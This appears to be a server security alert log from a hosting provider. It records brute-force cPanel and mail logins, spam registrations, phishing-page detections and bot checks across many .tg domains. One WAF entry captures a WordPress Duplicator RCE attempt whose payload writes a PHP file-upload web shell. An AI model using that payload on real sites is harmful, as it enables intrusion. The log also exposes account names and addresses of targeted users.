IM360 WAF: Possible phishing page detected||SC:/home/cinemafreenetmas/public_html/.815987795428409.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.168
country_id: 6252001
description:
[2026-06-07 09:07:08 +0000] info [cpaneld] 64.44.62.168 NEW dmmkifel:rCapSHkdM11twPhN address=64.44.62.168,app=cpaneld,creator=dmmkifel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.90
country_id: 3017382
description:
[2026-06-07 09:06:51 +0000] info [cpaneld] 5.231.64.90 NEW ygeaivhj:5jJpZ4I53iUohnPi address=5.231.64.90,app=cpaneld,creator=ygeaivhj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.34
country_id: 2635167
description:
[2026-06-07 09:07:20 +0000] info [cpaneld] 5.230.153.34 NEW nadngfzn:3wdvcmA4MaxrQEw4 address=5.230.153.34,app=cpaneld,creator=nadngfzn,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.88.145
country_id: 6252001
domain: anamek.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ljrwwgxg/public_html/.563694978156793.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.253.187.22
country_id: 1643084
description:
[2026-06-07 09:08:17 +0000] info [whostmgrd] 180.253.187.22 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.68.82.56
country_id: 2635167
description:
[2026-06-07 09:09:33 +0000] info [whostmgrd] 5.68.82.56 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 164.40.89.248
country_id: 1522867
description:
2026-06-07 09:12:17 H=([164.40.36.219]) [164.40.89.248]:56111 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 92.119.36.36
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:DonaldHot||Email:s.am.mym.a.n.n9.7.6@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.119.36.36
country_id: 6252001
domain: belali.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:09-11.92.119.36.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.185.162.118
country_id: 1643084
description:
[2026-06-07 09:13:38 +0000] info [cpaneld] 93.185.162.118 - aifkjzqm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.235.110
country_id: 1269750
description:
Jun  7 09:14:49 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.235.110 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.115
country_id: 2635167
description:
[2026-06-07 09:14:32 +0000] info [cpaneld] 5.230.133.115 NEW phoicdxb:xywWR2ymt_xrVitt address=5.230.133.115,app=cpaneld,creator=phoicdxb,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.102.46.40
country_id: 6252001
description:
[2026-06-07 09:14:12 +0000] info [cpaneld] 212.102.46.40 - aifkjzqm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-06-07 09:14:51 dovecot_login authenticator failed for H=([154.63.163.211]) [128.185.235.110]:50694: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.223.152.69
country_id: 1269750
description:
Jun  7 09:17:48 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.223.152.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.223.152.69
country_id: 1269750
description:
2026-06-07 09:17:50 dovecot_login authenticator failed for H=([192.252.216.83]) [117.223.152.69]:47662: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.92.169.44
country_id: 3996063
description:
[2026-06-07 09:18:08 +0000] info [whostmgrd] 200.92.169.44 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 09:18:38 +0000] info [cpaneld] 196.179.7.81 - heroes "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user heroes (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.89.246.29
country_id: 6252001
description:
47.89.246.29 - - [07/Jun/2026:09:21:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13144725&pdata=http%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780824076 HTTP/1.1" 302 0 cafe.tg "http://cafe.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.89.246.29


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.44
country_id: 6252001
description:
205.169.39.44 - - [07/Jun/2026:09:20:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236506&pdata=http%253A%252F%252Fqx0gfv.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780824048 HTTP/1.1" 302 0 qx0gfv.mediatopnews.tg "http://qx0gfv.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.44


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.94.125
country_id: 6252001
description:
47.88.94.125 - - [07/Jun/2026:09:21:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050089&pdata=http%253A%252F%252Fns5mail.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780824076 HTTP/1.1" 302 0 ns5mail.netmaster.tg "http://ns5mail.netmaster.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.94.125


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.24.105
country_id: 6252001
description:
47.251.24.105 - - [07/Jun/2026:09:21:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869208&pdata=http%253A%252F%252Fmediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780824081 HTTP/1.1" 302 0 mediatopnews.tg "http://mediatopnews.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.24.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [07/Jun/2026:09:23:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13144733&pdata=http%253A%252F%252Fxhhehr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780824208 HTTP/1.1" 302 0 xhhehr.mediatopnews.tg "http://xhhehr.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.244.79.40
country_id: 2658434
description:
2026-06-07 09:23:29 dovecot_plain authenticator failed for H=(a7njod3sv8yk9upduxa) [104.244.79.40]:37708: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.249.62.85
country_id: 1861060
domain: mesyscom.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.mesyscom.com||ServerName:mesyscom.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:766462b55da2e04a5f22b8a0c1a6410f5dd1662c||Title:32rovo7wriwubw5gpd||RSV:8.14||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 182.249.62.85
country_id: 1861060
domain: mesyscom.com
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (182.249.62.85) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.82.124.142
country_id: 1522867
description:
2026-06-07 09:25:38 H=([95.82.124.142]) [95.82.124.142]:60835 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.253.213.224
country_id: 587116
description:
2026-06-07 09:28:47 H=([188.253.213.224]) [188.253.213.224]:9622 F=<John@4452.com> rejected RCPT <www.linkedin.comarse@arse.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:09-28.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.97.88
country_id: 6252001
description:
[2026-06-07 09:29:37 +0000] info [cpaneld] 82.40.97.88 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Speedy-Access Your Funds sepoladi.blogspot.ae Bj||Email:preeya433306@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 09:29:41 +0000] info [whostmgrd] 196.179.7.81 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 124.133.209.106
country_id: 1814991
description:
2026-06-07 09:30:15 H=([124.133.209.106]) [124.133.209.106]:54937 F=<John@4452.com> rejected RCPT <welldrive@confortis.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 124.133.209.106
country_id: 1814991
description:
2026-06-07 09:33:45 H=([124.133.209.106]) [124.133.209.106]:61184 F=<John@4452.com> rejected RCPT <wellbloc@confortis.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 09:34:57 +0000] info [cpaneld] 196.179.7.81 - a.mathey "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 09:36:24 +0000] info [cpaneld] 196.179.7.81 - k.eklou "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 09:36:51 +0000] info [cpaneld] 196.179.7.81 - e.carine "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.244.252.155
country_id: 3469034
description:
[2026-06-07 09:39:12 +0000] info [whostmgrd] 170.244.252.155 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140737
name: IM360 WAF: WordPress Duplicator - RCE
abuser: 37.8.124.9
country_id: 6254930
domain: libertetogo.tg
description:
IM360 WAF: WordPress Duplicator - RCE||MVN:ARGS:url_new||WPU:||RSV:8.14||T:APACHE||MV:testing');file_put_contents('4150476815.php', '<?php error_reporting(0);echo(\"xyzeaz<form method=\\'post\\' enctype=\\'multipart/form-data\\'><input type=\\'file\\'name=\\'f\\' /><input type=\\'submit\\' value=\\'up\\' /></form>\");@copy($_files[\\'f\\'][\\'tmp_name\\'],$_files[\\'f\\'][\\'name\\']);echo(\"<a href=\".$_files[\\'f\\'][\\'name\\'].\">\".$_files[\\'f\\'][\\'name\\'].\"</a>\");?>');||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.69.5
country_id: 6252001
description:
[2026-06-07 09:40:51 +0000] info [whostmgrd] 82.40.69.5 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.6.101.209
country_id: 3932488
description:
[2026-06-07 09:40:52 +0000] info [whostmgrd] 179.6.101.209 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 09:40:59 +0000] info [cpaneld] 196.179.7.81 - contactmairieaneho "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.171.55.134
country_id: 587116
description:
[2026-06-07 09:40:51 +0000] info [whostmgrd] 31.171.55.134 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.160.73.175
country_id: 130758
description:
2026-06-07 09:43:05 H=([5.160.73.175]) [5.160.73.175]:51749 F=<John@4452.com> rejected RCPT <realestate@confortis.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 124.133.209.106
country_id: 1814991
description:
2026-06-07 09:43:09 H=([124.133.209.106]) [124.133.209.106]:61680 F=<John@4452.com> rejected RCPT <wellbloc@confortis.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.190.237.119
country_id: 298795
description:
[2026-06-07 09:45:45 +0000] info [whostmgrd] 78.190.237.119 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.18
country_id: 1880251
description:
47.128.96.18 - - [07/Jun/2026:09:45:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7378025&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgroupe-facebook%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780825513 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/groupe-facebook/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.18


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.105.21
country_id: 6252001
description:
[2026-06-07 09:45:20 +0000] info [cpaneld] 82.40.105.21 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.253
country_id: 3469034
description:
Jun  7 09:46:00 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.145
country_id: 6290252
description:
Jun  7 09:46:30 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.213.241.74
country_id: 1814991
description:
2026-06-07 09:47:53 dovecot_plain authenticator failed for H=(v2hpqlmpivhemycwo4z0t5gso) [171.213.241.74]:52660: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.213.241.74
country_id: 1814991
description:
Jun  7 09:47:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.213.241.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.73
country_id: 3469034
description:
Jun  7 09:50:34 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 115.217.81.70
country_id: 1814991
description:
2026-06-07 09:50:43 H=([115.217.81.70]) [115.217.81.70]:63347 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.73
country_id: 3469034
description:
Jun  7 09:50:49 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.161.172.196
country_id: 1269750
description:
2026-06-07 09:52:45 dovecot_plain authenticator failed for H=(localhost) [122.161.172.196]:12352: 535 Incorrect authentication data (set_id=minoussa@cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.47.235
country_id: 2300660
description:
Jun  7 09:51:52 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.47.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 115.217.81.70
country_id: 1814991
description:
2026-06-07 09:53:31 H=([115.217.81.70]) [115.217.81.70]:58117 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Find Your Unexpected Gift sepoladi.blogspot.mx v8||Email:madsonbob1@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:09-52.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 115.217.81.70
country_id: 1814991
description:
2026-06-07 09:54:07 H=([115.217.81.70]) [115.217.81.70]:60353 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 204.216.217.229
country_id: 3175395
description:
[2026-06-07 09:54:34 +0000] info [whostmgrd] 204.216.217.229 - BEWELL "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.76.228.95
country_id: 1814991
description:
2026-06-07 09:56:17 dovecot_plain authenticator failed for H=(nacbtolvrtp6q5hnww3odqxwx54) [120.76.228.95]:36678: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.76.228.95
country_id: 1814991
description:
Jun  7 09:56:15 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.76.228.95 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 09:57:20 +0000] info [cpaneld] 196.179.7.81 - masfloy "POST /login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.108.11
country_id: 953987
domain: matosshop.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:163.198.108.11||TA:163.198.108.11||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.87.5.170
country_id: 1814991
description:
2026-06-07 09:59:53 H=([39.87.5.170]) [39.87.5.170]:52509 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.228.219.237
country_id: 2464461
description:
2026-06-07 10:03:02 dovecot_plain authenticator failed for H=(localhost) [41.228.219.237]:57202: 535 Incorrect authentication data (set_id=admin@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-07 10:03:05 +0000] info [whostmgrd] 185.213.83.243 - apluser "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 66.146.235.226
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:66.146.235.226||TA:66.146.235.226||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.11.63
country_id: 3077311
description:
Jun  7 10:05:12 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.11.63 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [07/Jun/2026:10:05:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066538&pdata=http%253A%252F%252Ftxohul.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780826717 HTTP/1.1" 302 0 txohul.mediatopnews.tg "http://txohul.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-07 10:07:26 +0000] info [whostmgrd] 185.213.83.243 - masfloy "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-07 10:10:08 +0000] info [whostmgrd] 185.213.83.243 - c1565738c "POST /login?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 10:12:48 +0000] info [cpaneld] 196.179.7.81 - afxvhoxo "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.162
country_id: 1880251
description:
47.128.96.162 - - [07/Jun/2026:10:15:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9789552&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-astuces-selection-dv-lottery%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780827354 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-astuces-selection-dv-lottery/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.162


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Redeem Your Supreme User Cash eropolik.blogspot.ro XS||Email:pamelapatton36@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:10-17.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 10:17:27 +0000] info [cpaneld] 196.179.7.81 - e.carine "POST /login HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.97.84.236
country_id: 290557
description:
[2026-06-07 10:19:47 +0000] info [whostmgrd] 86.97.84.236 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.105.215.46
country_id: 203312
description:
2026-06-07 10:21:00 dovecot_plain authenticator failed for H=(localhost) [143.105.215.46]:39517: 535 Incorrect authentication data (set_id=postmaster@zephyr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.105.215.46
country_id: 203312
description:
Jun  7 10:20:58 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.105.215.46 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.163.189
country_id: 2750405
description:
[2026-06-07 10:21:48 +0000] info [cpaneld] 104.28.163.189 - kpmg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.163.189
country_id: 2750405
description:
[2026-06-07 10:21:51 +0000] info [cpaneld] 104.28.163.189 - kpmg "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [07/Jun/2026:10:23:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066377&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcacit-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780827781 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cacit-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
description:
[2026-06-07 10:24:34 +0000] info [cpaneld] 196.179.7.81 - togoinrdceh "POST /login HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.177.210.193
country_id: 3469034
description:
2026-06-07 10:27:47 dovecot_login authenticator failed for H=([27.123.119.99]) [45.177.210.193]:64321: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.179.7.81
country_id: 2464461
